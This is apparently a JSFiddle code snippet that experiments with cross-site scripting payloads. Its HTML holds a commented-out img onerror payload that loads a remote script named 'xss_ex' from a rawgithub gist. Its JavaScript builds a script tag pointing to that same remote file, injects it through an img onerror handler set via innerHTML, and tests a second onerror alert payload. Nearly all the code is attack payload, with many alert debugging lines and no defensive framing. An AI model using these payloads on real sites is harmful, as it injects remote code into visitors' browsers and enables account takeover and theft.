JSFiddle - React, Tailwind, and code Playground

by dledle2

HTML

<script type="foo/bar" id='user_data_template'>
    < b > First name: < /b> <%= first_name %>
    <b>Interests:</b > <%= interests %>
</script>
<input name="first_name" id="i_feel_so_vulnerable" />
<button>update</button>
<!-- Create your target -->
<div id="target"></div>
<!-- <img src=1 onerror="s=document.createElement('script');s.src='//rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex';document.body.appendChild(s);"/>// -->

CSS

#i_feel_so_vulnerable {
    width:300px;
}

JavaScript

javascript: try {

    var b1 = document;
    var test1 = '<' + 'script type=\'text/javascript\' src=\'https://rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex\'></' + 'script>';



    /* alert (  test1.replace(/&quot;/g,'"')   );  */

   /* test1 = test1.replace(/&quot;/g, '"').toString();  */
    
    /*  alert( (test1.replace(/&quot;/g, '"')).toString() );   */
    
    alert( test1.toString() );
    
    alert('8');

    var trydiv1 = document.createElement('div');
    trydiv1.innerHTML =
        '    <img src=1 onerror=\'' + test1 + '\'>';
    document.body.appendChild(trydiv1);

    alert(trydiv1.innerHTML);

    var trydiv2 = document.createElement('div');
    trydiv2.innerHTML = "    <img src=1 onerror=\"alert('hi5');\">";
    document.body.appendChild(trydiv2);



    /*  alert('hi');  */
    /*     alert(test1);      */
    /*   alert(test1.value);     */
    /*   eval(test1.value);      */


} catch (myError1) {
    alert(myError1);
}